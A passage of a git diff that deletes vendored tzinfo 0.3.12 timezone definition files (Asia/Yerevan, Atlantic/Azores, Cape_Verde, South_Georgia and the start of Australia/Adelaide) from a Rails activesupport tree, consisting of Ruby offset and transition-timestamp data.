-          tz.transition 1988, 9, :o2, 591138000
-          tz.transition 1989, 3, :o3, 606862800
-          tz.transition 1989, 9, :o2, 622587600
-          tz.transition 1990, 3, :o3, 638312400
-          tz.transition 1990, 9, :o2, 654642000
-          tz.transition 1991, 3, :o4, 670366800
-          tz.transition 1991, 9, :o1, 686095200
-          tz.transition 1992, 1, :o5, 695772000
-          tz.transition 1992, 3, :o6, 701805600
-          tz.transition 1992, 9, :o5, 717526800
-          tz.transition 1993, 3, :o6, 733266000
-          tz.transition 1993, 9, :o5, 748990800
-          tz.transition 1994, 3, :o6, 764715600
-          tz.transition 1994, 9, :o5, 780440400
-          tz.transition 1995, 3, :o6, 796165200
-          tz.transition 1995, 9, :o5, 811890000
-          tz.transition 1996, 3, :o6, 828219600
-          tz.transition 1996, 10, :o5, 846363600
-          tz.transition 1997, 3, :o6, 859669200
-          tz.transition 1997, 10, :o5, 877813200
-          tz.transition 1998, 3, :o6, 891118800
-          tz.transition 1998, 10, :o5, 909262800
-          tz.transition 1999, 3, :o6, 922568400
-          tz.transition 1999, 10, :o5, 941317200
-          tz.transition 2000, 3, :o6, 954018000
-          tz.transition 2000, 10, :o5, 972766800
-          tz.transition 2001, 3, :o6, 985467600
-          tz.transition 2001, 10, :o5, 1004216400
-          tz.transition 2002, 3, :o6, 1017522000
-          tz.transition 2002, 10, :o5, 1035666000
-          tz.transition 2003, 3, :o6, 1048971600
-          tz.transition 2003, 10, :o5, 1067115600
-          tz.transition 2004, 3, :o6, 1080421200
-          tz.transition 2004, 10, :o5, 1099170000
-          tz.transition 2005, 3, :o6, 1111870800
-          tz.transition 2005, 10, :o5, 1130619600
-          tz.transition 2006, 3, :o6, 1143320400
-          tz.transition 2006, 10, :o5, 1162069200
-          tz.transition 2007, 3, :o6, 1174770000
-          tz.transition 2007, 10, :o5, 1193518800
-          tz.transition 2008, 3, :o6, 1206824400
-          tz.transition 2008, 10, :o5, 1224968400
-          tz.transition 2009, 3, :o6, 1238274000
-          tz.transition 2009, 10, :o5, 1256418000
-          tz.transition 2010, 3, :o6, 1269723600
-          tz.transition 2010, 10, :o5, 1288472400
-          tz.transition 2011, 3, :o6, 1301173200
-          tz.transition 2011, 10, :o5, 1319922000
-          tz.transition 2012, 3, :o6, 1332622800
-          tz.transition 2012, 10, :o5, 1351371600
-          tz.transition 2013, 3, :o6, 1364677200
-          tz.transition 2013, 10, :o5, 1382821200
-          tz.transition 2014, 3, :o6, 1396126800
-          tz.transition 2014, 10, :o5, 1414270800
-          tz.transition 2015, 3, :o6, 1427576400
-          tz.transition 2015, 10, :o5, 1445720400
-          tz.transition 2016, 3, :o6, 1459026000
-          tz.transition 2016, 10, :o5, 1477774800
-          tz.transition 2017, 3, :o6, 1490475600
-          tz.transition 2017, 10, :o5, 1509224400
-          tz.transition 2018, 3, :o6, 1521925200
-          tz.transition 2018, 10, :o5, 1540674000
-          tz.transition 2019, 3, :o6, 1553979600
-          tz.transition 2019, 10, :o5, 1572123600
-          tz.transition 2020, 3, :o6, 1585429200
-          tz.transition 2020, 10, :o5, 1603573200
-          tz.transition 2021, 3, :o6, 1616878800
-          tz.transition 2021, 10, :o5, 1635627600
-          tz.transition 2022, 3, :o6, 1648328400
-          tz.transition 2022, 10, :o5, 1667077200
-          tz.transition 2023, 3, :o6, 1679778000
-          tz.transition 2023, 10, :o5, 1698526800
-          tz.transition 2024, 3, :o6, 1711832400
-          tz.transition 2024, 10, :o5, 1729976400
-          tz.transition 2025, 3, :o6, 1743282000
-          tz.transition 2025, 10, :o5, 1761426000
-          tz.transition 2026, 3, :o6, 1774731600
-          tz.transition 2026, 10, :o5, 1792875600
-          tz.transition 2027, 3, :o6, 1806181200
-          tz.transition 2027, 10, :o5, 1824930000
-          tz.transition 2028, 3, :o6, 1837630800
-          tz.transition 2028, 10, :o5, 1856379600
-          tz.transition 2029, 3, :o6, 1869080400
-          tz.transition 2029, 10, :o5, 1887829200
-          tz.transition 2030, 3, :o6, 1901134800
-          tz.transition 2030, 10, :o5, 1919278800
-          tz.transition 2031, 3, :o6, 1932584400
-          tz.transition 2031, 10, :o5, 1950728400
-          tz.transition 2032, 3, :o6, 1964034000
-          tz.transition 2032, 10, :o5, 1982782800
-          tz.transition 2033, 3, :o6, 1995483600
-          tz.transition 2033, 10, :o5, 2014232400
-          tz.transition 2034, 3, :o6, 2026933200
-          tz.transition 2034, 10, :o5, 2045682000
-          tz.transition 2035, 3, :o6, 2058382800
-          tz.transition 2035, 10, :o5, 2077131600
-          tz.transition 2036, 3, :o6, 2090437200
-          tz.transition 2036, 10, :o5, 2108581200
-          tz.transition 2037, 3, :o6, 2121886800
-          tz.transition 2037, 10, :o5, 2140030800
-          tz.transition 2038, 3, :o6, 19724083, 8
-          tz.transition 2038, 10, :o5, 19725819, 8
-          tz.transition 2039, 3, :o6, 19726995, 8
-          tz.transition 2039, 10, :o5, 19728731, 8
-          tz.transition 2040, 3, :o6, 19729907, 8
-          tz.transition 2040, 10, :o5, 19731643, 8
-          tz.transition 2041, 3, :o6, 19732875, 8
-          tz.transition 2041, 10, :o5, 19734555, 8
-          tz.transition 2042, 3, :o6, 19735787, 8
-          tz.transition 2042, 10, :o5, 19737467, 8
-          tz.transition 2043, 3, :o6, 19738699, 8
-          tz.transition 2043, 10, :o5, 19740379, 8
-          tz.transition 2044, 3, :o6, 19741611, 8
-          tz.transition 2044, 10, :o5, 19743347, 8
-          tz.transition 2045, 3, :o6, 19744523, 8
-          tz.transition 2045, 10, :o5, 19746259, 8
-          tz.transition 2046, 3, :o6, 19747435, 8
-          tz.transition 2046, 10, :o5, 19749171, 8
-          tz.transition 2047, 3, :o6, 19750403, 8
-          tz.transition 2047, 10, :o5, 19752083, 8
-          tz.transition 2048, 3, :o6, 19753315, 8
-          tz.transition 2048, 10, :o5, 19754995, 8
-          tz.transition 2049, 3, :o6, 19756227, 8
-          tz.transition 2049, 10, :o5, 19757963, 8
-          tz.transition 2050, 3, :o6, 19759139, 8
-          tz.transition 2050, 10, :o5, 19760875, 8
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yerevan.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yerevan.rb
deleted file mode 100644
index e7f16086..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yerevan.rb
+++ /dev/null
@@ -1,165 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Yerevan
-        include TimezoneDefinition
-        
-        timezone 'Asia/Yerevan' do |tz|
-          tz.offset :o0, 10680, 0, :LMT
-          tz.offset :o1, 10800, 0, :YERT
-          tz.offset :o2, 14400, 0, :YERT
-          tz.offset :o3, 14400, 3600, :YERST
-          tz.offset :o4, 10800, 3600, :YERST
-          tz.offset :o5, 10800, 3600, :AMST
-          tz.offset :o6, 10800, 0, :AMT
-          tz.offset :o7, 14400, 0, :AMT
-          tz.offset :o8, 14400, 3600, :AMST
-          
-          tz.transition 1924, 5, :o1, 1745213311, 720
-          tz.transition 1957, 2, :o2, 19487187, 8
-          tz.transition 1981, 3, :o3, 354916800
-          tz.transition 1981, 9, :o2, 370724400
-          tz.transition 1982, 3, :o3, 386452800
-          tz.transition 1982, 9, :o2, 402260400
-          tz.transition 1983, 3, :o3, 417988800
-          tz.transition 1983, 9, :o2, 433796400
-          tz.transition 1984, 3, :o3, 449611200
-          tz.transition 1984, 9, :o2, 465343200
-          tz.transition 1985, 3, :o3, 481068000
-          tz.transition 1985, 9, :o2, 496792800
-          tz.transition 1986, 3, :o3, 512517600
-          tz.transition 1986, 9, :o2, 528242400
-          tz.transition 1987, 3, :o3, 543967200
-          tz.transition 1987, 9, :o2, 559692000
-          tz.transition 1988, 3, :o3, 575416800
-          tz.transition 1988, 9, :o2, 591141600
-          tz.transition 1989, 3, :o3, 606866400
-          tz.transition 1989, 9, :o2, 622591200
-          tz.transition 1990, 3, :o3, 638316000
-          tz.transition 1990, 9, :o2, 654645600
-          tz.transition 1991, 3, :o4, 670370400
-          tz.transition 1991, 9, :o5, 685569600
-          tz.transition 1991, 9, :o6, 686098800
-          tz.transition 1992, 3, :o5, 701812800
-          tz.transition 1992, 9, :o6, 717534000
-          tz.transition 1993, 3, :o5, 733273200
-          tz.transition 1993, 9, :o6, 748998000
-          tz.transition 1994, 3, :o5, 764722800
-          tz.transition 1994, 9, :o6, 780447600
-          tz.transition 1995, 3, :o5, 796172400
-          tz.transition 1995, 9, :o7, 811897200
-          tz.transition 1997, 3, :o8, 859672800
-          tz.transition 1997, 10, :o7, 877816800
-          tz.transition 1998, 3, :o8, 891122400
-          tz.transition 1998, 10, :o7, 909266400
-          tz.transition 1999, 3, :o8, 922572000
-          tz.transition 1999, 10, :o7, 941320800
-          tz.transition 2000, 3, :o8, 954021600
-          tz.transition 2000, 10, :o7, 972770400
-          tz.transition 2001, 3, :o8, 985471200
-          tz.transition 2001, 10, :o7, 1004220000
-          tz.transition 2002, 3, :o8, 1017525600
-          tz.transition 2002, 10, :o7, 1035669600
-          tz.transition 2003, 3, :o8, 1048975200
-          tz.transition 2003, 10, :o7, 1067119200
-          tz.transition 2004, 3, :o8, 1080424800
-          tz.transition 2004, 10, :o7, 1099173600
-          tz.transition 2005, 3, :o8, 1111874400
-          tz.transition 2005, 10, :o7, 1130623200
-          tz.transition 2006, 3, :o8, 1143324000
-          tz.transition 2006, 10, :o7, 1162072800
-          tz.transition 2007, 3, :o8, 1174773600
-          tz.transition 2007, 10, :o7, 1193522400
-          tz.transition 2008, 3, :o8, 1206828000
-          tz.transition 2008, 10, :o7, 1224972000
-          tz.transition 2009, 3, :o8, 1238277600
-          tz.transition 2009, 10, :o7, 1256421600
-          tz.transition 2010, 3, :o8, 1269727200
-          tz.transition 2010, 10, :o7, 1288476000
-          tz.transition 2011, 3, :o8, 1301176800
-          tz.transition 2011, 10, :o7, 1319925600
-          tz.transition 2012, 3, :o8, 1332626400
-          tz.transition 2012, 10, :o7, 1351375200
-          tz.transition 2013, 3, :o8, 1364680800
-          tz.transition 2013, 10, :o7, 1382824800
-          tz.transition 2014, 3, :o8, 1396130400
-          tz.transition 2014, 10, :o7, 1414274400
-          tz.transition 2015, 3, :o8, 1427580000
-          tz.transition 2015, 10, :o7, 1445724000
-          tz.transition 2016, 3, :o8, 1459029600
-          tz.transition 2016, 10, :o7, 1477778400
-          tz.transition 2017, 3, :o8, 1490479200
-          tz.transition 2017, 10, :o7, 1509228000
-          tz.transition 2018, 3, :o8, 1521928800
-          tz.transition 2018, 10, :o7, 1540677600
-          tz.transition 2019, 3, :o8, 1553983200
-          tz.transition 2019, 10, :o7, 1572127200
-          tz.transition 2020, 3, :o8, 1585432800
-          tz.transition 2020, 10, :o7, 1603576800
-          tz.transition 2021, 3, :o8, 1616882400
-          tz.transition 2021, 10, :o7, 1635631200
-          tz.transition 2022, 3, :o8, 1648332000
-          tz.transition 2022, 10, :o7, 1667080800
-          tz.transition 2023, 3, :o8, 1679781600
-          tz.transition 2023, 10, :o7, 1698530400
-          tz.transition 2024, 3, :o8, 1711836000
-          tz.transition 2024, 10, :o7, 1729980000
-          tz.transition 2025, 3, :o8, 1743285600
-          tz.transition 2025, 10, :o7, 1761429600
-          tz.transition 2026, 3, :o8, 1774735200
-          tz.transition 2026, 10, :o7, 1792879200
-          tz.transition 2027, 3, :o8, 1806184800
-          tz.transition 2027, 10, :o7, 1824933600
-          tz.transition 2028, 3, :o8, 1837634400
-          tz.transition 2028, 10, :o7, 1856383200
-          tz.transition 2029, 3, :o8, 1869084000
-          tz.transition 2029, 10, :o7, 1887832800
-          tz.transition 2030, 3, :o8, 1901138400
-          tz.transition 2030, 10, :o7, 1919282400
-          tz.transition 2031, 3, :o8, 1932588000
-          tz.transition 2031, 10, :o7, 1950732000
-          tz.transition 2032, 3, :o8, 1964037600
-          tz.transition 2032, 10, :o7, 1982786400
-          tz.transition 2033, 3, :o8, 1995487200
-          tz.transition 2033, 10, :o7, 2014236000
-          tz.transition 2034, 3, :o8, 2026936800
-          tz.transition 2034, 10, :o7, 2045685600
-          tz.transition 2035, 3, :o8, 2058386400
-          tz.transition 2035, 10, :o7, 2077135200
-          tz.transition 2036, 3, :o8, 2090440800
-          tz.transition 2036, 10, :o7, 2108584800
-          tz.transition 2037, 3, :o8, 2121890400
-          tz.transition 2037, 10, :o7, 2140034400
-          tz.transition 2038, 3, :o8, 29586125, 12
-          tz.transition 2038, 10, :o7, 29588729, 12
-          tz.transition 2039, 3, :o8, 29590493, 12
-          tz.transition 2039, 10, :o7, 29593097, 12
-          tz.transition 2040, 3, :o8, 29594861, 12
-          tz.transition 2040, 10, :o7, 29597465, 12
-          tz.transition 2041, 3, :o8, 29599313, 12
-          tz.transition 2041, 10, :o7, 29601833, 12
-          tz.transition 2042, 3, :o8, 29603681, 12
-          tz.transition 2042, 10, :o7, 29606201, 12
-          tz.transition 2043, 3, :o8, 29608049, 12
-          tz.transition 2043, 10, :o7, 29610569, 12
-          tz.transition 2044, 3, :o8, 29612417, 12
-          tz.transition 2044, 10, :o7, 29615021, 12
-          tz.transition 2045, 3, :o8, 29616785, 12
-          tz.transition 2045, 10, :o7, 29619389, 12
-          tz.transition 2046, 3, :o8, 29621153, 12
-          tz.transition 2046, 10, :o7, 29623757, 12
-          tz.transition 2047, 3, :o8, 29625605, 12
-          tz.transition 2047, 10, :o7, 29628125, 12
-          tz.transition 2048, 3, :o8, 29629973, 12
-          tz.transition 2048, 10, :o7, 29632493, 12
-          tz.transition 2049, 3, :o8, 29634341, 12
-          tz.transition 2049, 10, :o7, 29636945, 12
-          tz.transition 2050, 3, :o8, 29638709, 12
-          tz.transition 2050, 10, :o7, 29641313, 12
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Azores.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Azores.rb
deleted file mode 100644
index 1bd16a75..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Azores.rb
+++ /dev/null
@@ -1,270 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Atlantic
-      module Azores
-        include TimezoneDefinition
-        
-        timezone 'Atlantic/Azores' do |tz|
-          tz.offset :o0, -6160, 0, :LMT
-          tz.offset :o1, -6872, 0, :HMT
-          tz.offset :o2, -7200, 0, :AZOT
-          tz.offset :o3, -7200, 3600, :AZOST
-          tz.offset :o4, -7200, 7200, :AZOMT
-          tz.offset :o5, -3600, 0, :AZOT
-          tz.offset :o6, -3600, 3600, :AZOST
-          tz.offset :o7, 0, 0, :WET
-          
-          tz.transition 1884, 1, :o1, 2601910697, 1080
-          tz.transition 1911, 5, :o2, 26127150259, 10800
-          tz.transition 1916, 6, :o3, 58104781, 24
-          tz.transition 1916, 11, :o2, 29054023, 12
-          tz.transition 1917, 3, :o3, 58110925, 24
-          tz.transition 1917, 10, :o2, 58116397, 24
-          tz.transition 1918, 3, :o3, 58119709, 24
-          tz.transition 1918, 10, :o2, 58125157, 24
-          tz.transition 1919, 3, :o3, 58128445, 24
-          tz.transition 1919, 10, :o2, 58133917, 24
-          tz.transition 1920, 3, :o3, 58137229, 24
-          tz.transition 1920, 10, :o2, 58142701, 24
-          tz.transition 1921, 3, :o3, 58145989, 24
-          tz.transition 1921, 10, :o2, 58151461, 24
-          tz.transition 1924, 4, :o3, 58173421, 24
-          tz.transition 1924, 10, :o2, 58177765, 24
-          tz.transition 1926, 4, :o3, 58190965, 24
-          tz.transition 1926, 10, :o2, 58194997, 24
-          tz.transition 1927, 4, :o3, 58199533, 24
-          tz.transition 1927, 10, :o2, 58203733, 24
-          tz.transition 1928, 4, :o3, 58208437, 24
-          tz.transition 1928, 10, :o2, 58212637, 24
-          tz.transition 1929, 4, :o3, 58217341, 24
-          tz.transition 1929, 10, :o2, 58221373, 24
-          tz.transition 1931, 4, :o3, 58234813, 24
-          tz.transition 1931, 10, :o2, 58238845, 24
-          tz.transition 1932, 4, :o3, 58243213, 24
-          tz.transition 1932, 10, :o2, 58247581, 24
-          tz.transition 1934, 4, :o3, 58260853, 24
-          tz.transition 1934, 10, :o2, 58265221, 24
-          tz.transition 1935, 3, :o3, 58269421, 24
-          tz.transition 1935, 10, :o2, 58273957, 24
-          tz.transition 1936, 4, :o3, 58278661, 24
-          tz.transition 1936, 10, :o2, 58282693, 24
-          tz.transition 1937, 4, :o3, 58287061, 24
-          tz.transition 1937, 10, :o2, 58291429, 24
-          tz.transition 1938, 3, :o3, 58295629, 24
-          tz.transition 1938, 10, :o2, 58300165, 24
-          tz.transition 1939, 4, :o3, 58304869, 24
-          tz.transition 1939, 11, :o2, 58310077, 24
-          tz.transition 1940, 2, :o3, 58312429, 24
-          tz.transition 1940, 10, :o2, 58317805, 24
-          tz.transition 1941, 4, :o3, 58322173, 24
-          tz.transition 1941, 10, :o2, 58326565, 24
-          tz.transition 1942, 3, :o3, 58330405, 24
-          tz.transition 1942, 4, :o4, 4860951, 2
-          tz.transition 1942, 8, :o3, 4861175, 2
-          tz.transition 1942, 10, :o2, 58335781, 24
-          tz.transition 1943, 3, :o3, 58339141, 24
-          tz.transition 1943, 4, :o4, 4861665, 2
-          tz.transition 1943, 8, :o3, 4861931, 2
-          tz.transition 1943, 10, :o2, 58344685, 24
-          tz.transition 1944, 3, :o3, 58347877, 24
-          tz.transition 1944, 4, :o4, 4862407, 2
-          tz.transition 1944, 8, :o3, 4862659, 2
-          tz.transition 1944, 10, :o2, 58353421, 24
-          tz.transition 1945, 3, :o3, 58356613, 24
-          tz.transition 1945, 4, :o4, 4863135, 2
-          tz.transition 1945, 8, :o3, 4863387, 2
-          tz.transition 1945, 10, :o2, 58362157, 24
-          tz.transition 1946, 4, :o3, 58366021, 24
-          tz.transition 1946, 10, :o2, 58370389, 24
-          tz.transition 1947, 4, :o3, 7296845, 3
-          tz.transition 1947, 10, :o2, 7297391, 3
-          tz.transition 1948, 4, :o3, 7297937, 3
-          tz.transition 1948, 10, :o2, 7298483, 3
-          tz.transition 1949, 4, :o3, 7299029, 3
-          tz.transition 1949, 10, :o2, 7299575, 3
-          tz.transition 1951, 4, :o3, 7301213, 3
-          tz.transition 1951, 10, :o2, 7301780, 3
-          tz.transition 1952, 4, :o3, 7302326, 3
-          tz.transition 1952, 10, :o2, 7302872, 3
-          tz.transition 1953, 4, :o3, 7303418, 3
-          tz.transition 1953, 10, :o2, 7303964, 3
-          tz.transition 1954, 4, :o3, 7304510, 3
-          tz.transition 1954, 10, :o2, 7305056, 3
-          tz.transition 1955, 4, :o3, 7305602, 3
-          tz.transition 1955, 10, :o2, 7306148, 3
-          tz.transition 1956, 4, :o3, 7306694, 3
-          tz.transition 1956, 10, :o2, 7307261, 3
-          tz.transition 1957, 4, :o3, 7307807, 3
-          tz.transition 1957, 10, :o2, 7308353, 3
-          tz.transition 1958, 4, :o3, 7308899, 3
-          tz.transition 1958, 10, :o2, 7309445, 3
-          tz.transition 1959, 4, :o3, 7309991, 3
-          tz.transition 1959, 10, :o2, 7310537, 3
-          tz.transition 1960, 4, :o3, 7311083, 3
-          tz.transition 1960, 10, :o2, 7311629, 3
-          tz.transition 1961, 4, :o3, 7312175, 3
-          tz.transition 1961, 10, :o2, 7312721, 3
-          tz.transition 1962, 4, :o3, 7313267, 3
-          tz.transition 1962, 10, :o2, 7313834, 3
-          tz.transition 1963, 4, :o3, 7314380, 3
-          tz.transition 1963, 10, :o2, 7314926, 3
-          tz.transition 1964, 4, :o3, 7315472, 3
-          tz.transition 1964, 10, :o2, 7316018, 3
-          tz.transition 1965, 4, :o3, 7316564, 3
-          tz.transition 1965, 10, :o2, 7317110, 3
-          tz.transition 1966, 4, :o5, 7317656, 3
-          tz.transition 1977, 3, :o6, 228272400
-          tz.transition 1977, 9, :o5, 243997200
-          tz.transition 1978, 4, :o6, 260326800
-          tz.transition 1978, 10, :o5, 276051600
-          tz.transition 1979, 4, :o6, 291776400
-          tz.transition 1979, 9, :o5, 307504800
-          tz.transition 1980, 3, :o6, 323226000
-          tz.transition 1980, 9, :o5, 338954400
-          tz.transition 1981, 3, :o6, 354679200
-          tz.transition 1981, 9, :o5, 370404000
-          tz.transition 1982, 3, :o6, 386128800
-          tz.transition 1982, 9, :o5, 401853600
-          tz.transition 1983, 3, :o6, 417582000
-          tz.transition 1983, 9, :o5, 433303200
-          tz.transition 1984, 3, :o6, 449028000
-          tz.transition 1984, 9, :o5, 465357600
-          tz.transition 1985, 3, :o6, 481082400
-          tz.transition 1985, 9, :o5, 496807200
-          tz.transition 1986, 3, :o6, 512532000
-          tz.transition 1986, 9, :o5, 528256800
-          tz.transition 1987, 3, :o6, 543981600
-          tz.transition 1987, 9, :o5, 559706400
-          tz.transition 1988, 3, :o6, 575431200
-          tz.transition 1988, 9, :o5, 591156000
-          tz.transition 1989, 3, :o6, 606880800
-          tz.transition 1989, 9, :o5, 622605600
-          tz.transition 1990, 3, :o6, 638330400
-          tz.transition 1990, 9, :o5, 654660000
-          tz.transition 1991, 3, :o6, 670384800
-          tz.transition 1991, 9, :o5, 686109600
-          tz.transition 1992, 3, :o6, 701834400
-          tz.transition 1992, 9, :o7, 717559200
-          tz.transition 1993, 3, :o6, 733280400
-          tz.transition 1993, 9, :o5, 749005200
-          tz.transition 1994, 3, :o6, 764730000
-          tz.transition 1994, 9, :o5, 780454800
-          tz.transition 1995, 3, :o6, 796179600
-          tz.transition 1995, 9, :o5, 811904400
-          tz.transition 1996, 3, :o6, 828234000
-          tz.transition 1996, 10, :o5, 846378000
-          tz.transition 1997, 3, :o6, 859683600
-          tz.transition 1997, 10, :o5, 877827600
-          tz.transition 1998, 3, :o6, 891133200
-          tz.transition 1998, 10, :o5, 909277200
-          tz.transition 1999, 3, :o6, 922582800
-          tz.transition 1999, 10, :o5, 941331600
-          tz.transition 2000, 3, :o6, 954032400
-          tz.transition 2000, 10, :o5, 972781200
-          tz.transition 2001, 3, :o6, 985482000
-          tz.transition 2001, 10, :o5, 1004230800
-          tz.transition 2002, 3, :o6, 1017536400
-          tz.transition 2002, 10, :o5, 1035680400
-          tz.transition 2003, 3, :o6, 1048986000
-          tz.transition 2003, 10, :o5, 1067130000
-          tz.transition 2004, 3, :o6, 1080435600
-          tz.transition 2004, 10, :o5, 1099184400
-          tz.transition 2005, 3, :o6, 1111885200
-          tz.transition 2005, 10, :o5, 1130634000
-          tz.transition 2006, 3, :o6, 1143334800
-          tz.transition 2006, 10, :o5, 1162083600
-          tz.transition 2007, 3, :o6, 1174784400
-          tz.transition 2007, 10, :o5, 1193533200
-          tz.transition 2008, 3, :o6, 1206838800
-          tz.transition 2008, 10, :o5, 1224982800
-          tz.transition 2009, 3, :o6, 1238288400
-          tz.transition 2009, 10, :o5, 1256432400
-          tz.transition 2010, 3, :o6, 1269738000
-          tz.transition 2010, 10, :o5, 1288486800
-          tz.transition 2011, 3, :o6, 1301187600
-          tz.transition 2011, 10, :o5, 1319936400
-          tz.transition 2012, 3, :o6, 1332637200
-          tz.transition 2012, 10, :o5, 1351386000
-          tz.transition 2013, 3, :o6, 1364691600
-          tz.transition 2013, 10, :o5, 1382835600
-          tz.transition 2014, 3, :o6, 1396141200
-          tz.transition 2014, 10, :o5, 1414285200
-          tz.transition 2015, 3, :o6, 1427590800
-          tz.transition 2015, 10, :o5, 1445734800
-          tz.transition 2016, 3, :o6, 1459040400
-          tz.transition 2016, 10, :o5, 1477789200
-          tz.transition 2017, 3, :o6, 1490490000
-          tz.transition 2017, 10, :o5, 1509238800
-          tz.transition 2018, 3, :o6, 1521939600
-          tz.transition 2018, 10, :o5, 1540688400
-          tz.transition 2019, 3, :o6, 1553994000
-          tz.transition 2019, 10, :o5, 1572138000
-          tz.transition 2020, 3, :o6, 1585443600
-          tz.transition 2020, 10, :o5, 1603587600
-          tz.transition 2021, 3, :o6, 1616893200
-          tz.transition 2021, 10, :o5, 1635642000
-          tz.transition 2022, 3, :o6, 1648342800
-          tz.transition 2022, 10, :o5, 1667091600
-          tz.transition 2023, 3, :o6, 1679792400
-          tz.transition 2023, 10, :o5, 1698541200
-          tz.transition 2024, 3, :o6, 1711846800
-          tz.transition 2024, 10, :o5, 1729990800
-          tz.transition 2025, 3, :o6, 1743296400
-          tz.transition 2025, 10, :o5, 1761440400
-          tz.transition 2026, 3, :o6, 1774746000
-          tz.transition 2026, 10, :o5, 1792890000
-          tz.transition 2027, 3, :o6, 1806195600
-          tz.transition 2027, 10, :o5, 1824944400
-          tz.transition 2028, 3, :o6, 1837645200
-          tz.transition 2028, 10, :o5, 1856394000
-          tz.transition 2029, 3, :o6, 1869094800
-          tz.transition 2029, 10, :o5, 1887843600
-          tz.transition 2030, 3, :o6, 1901149200
-          tz.transition 2030, 10, :o5, 1919293200
-          tz.transition 2031, 3, :o6, 1932598800
-          tz.transition 2031, 10, :o5, 1950742800
-          tz.transition 2032, 3, :o6, 1964048400
-          tz.transition 2032, 10, :o5, 1982797200
-          tz.transition 2033, 3, :o6, 1995498000
-          tz.transition 2033, 10, :o5, 2014246800
-          tz.transition 2034, 3, :o6, 2026947600
-          tz.transition 2034, 10, :o5, 2045696400
-          tz.transition 2035, 3, :o6, 2058397200
-          tz.transition 2035, 10, :o5, 2077146000
-          tz.transition 2036, 3, :o6, 2090451600
-          tz.transition 2036, 10, :o5, 2108595600
-          tz.transition 2037, 3, :o6, 2121901200
-          tz.transition 2037, 10, :o5, 2140045200
-          tz.transition 2038, 3, :o6, 59172253, 24
-          tz.transition 2038, 10, :o5, 59177461, 24
-          tz.transition 2039, 3, :o6, 59180989, 24
-          tz.transition 2039, 10, :o5, 59186197, 24
-          tz.transition 2040, 3, :o6, 59189725, 24
-          tz.transition 2040, 10, :o5, 59194933, 24
-          tz.transition 2041, 3, :o6, 59198629, 24
-          tz.transition 2041, 10, :o5, 59203669, 24
-          tz.transition 2042, 3, :o6, 59207365, 24
-          tz.transition 2042, 10, :o5, 59212405, 24
-          tz.transition 2043, 3, :o6, 59216101, 24
-          tz.transition 2043, 10, :o5, 59221141, 24
-          tz.transition 2044, 3, :o6, 59224837, 24
-          tz.transition 2044, 10, :o5, 59230045, 24
-          tz.transition 2045, 3, :o6, 59233573, 24
-          tz.transition 2045, 10, :o5, 59238781, 24
-          tz.transition 2046, 3, :o6, 59242309, 24
-          tz.transition 2046, 10, :o5, 59247517, 24
-          tz.transition 2047, 3, :o6, 59251213, 24
-          tz.transition 2047, 10, :o5, 59256253, 24
-          tz.transition 2048, 3, :o6, 59259949, 24
-          tz.transition 2048, 10, :o5, 59264989, 24
-          tz.transition 2049, 3, :o6, 59268685, 24
-          tz.transition 2049, 10, :o5, 59273893, 24
-          tz.transition 2050, 3, :o6, 59277421, 24
-          tz.transition 2050, 10, :o5, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Cape_Verde.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Cape_Verde.rb
deleted file mode 100644
index 61c8c150..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/Cape_Verde.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Atlantic
-      module Cape_Verde
-        include TimezoneDefinition
-        
-        timezone 'Atlantic/Cape_Verde' do |tz|
-          tz.offset :o0, -5644, 0, :LMT
-          tz.offset :o1, -7200, 0, :CVT
-          tz.offset :o2, -7200, 3600, :CVST
-          tz.offset :o3, -3600, 0, :CVT
-          
-          tz.transition 1907, 1, :o1, 52219653811, 21600
-          tz.transition 1942, 9, :o2, 29167243, 12
-          tz.transition 1945, 10, :o1, 58361845, 24
-          tz.transition 1975, 11, :o3, 186120000
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/South_Georgia.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/South_Georgia.rb
deleted file mode 100644
index 6a4cbafb..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Atlantic/South_Georgia.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Atlantic
-      module South_Georgia
-        include TimezoneDefinition
-        
-        timezone 'Atlantic/South_Georgia' do |tz|
-          tz.offset :o0, -8768, 0, :LMT
-          tz.offset :o1, -7200, 0, :GST
-          
-          tz.transition 1890, 1, :o1, 1627673806, 675
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Adelaide.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Adelaide.rb
deleted file mode 100644
index c5d561cc..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Australia/Adelaide.rb
+++ /dev/null
@@ -1,187 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Australia
-      module Adelaide
-        include TimezoneDefinition
-        
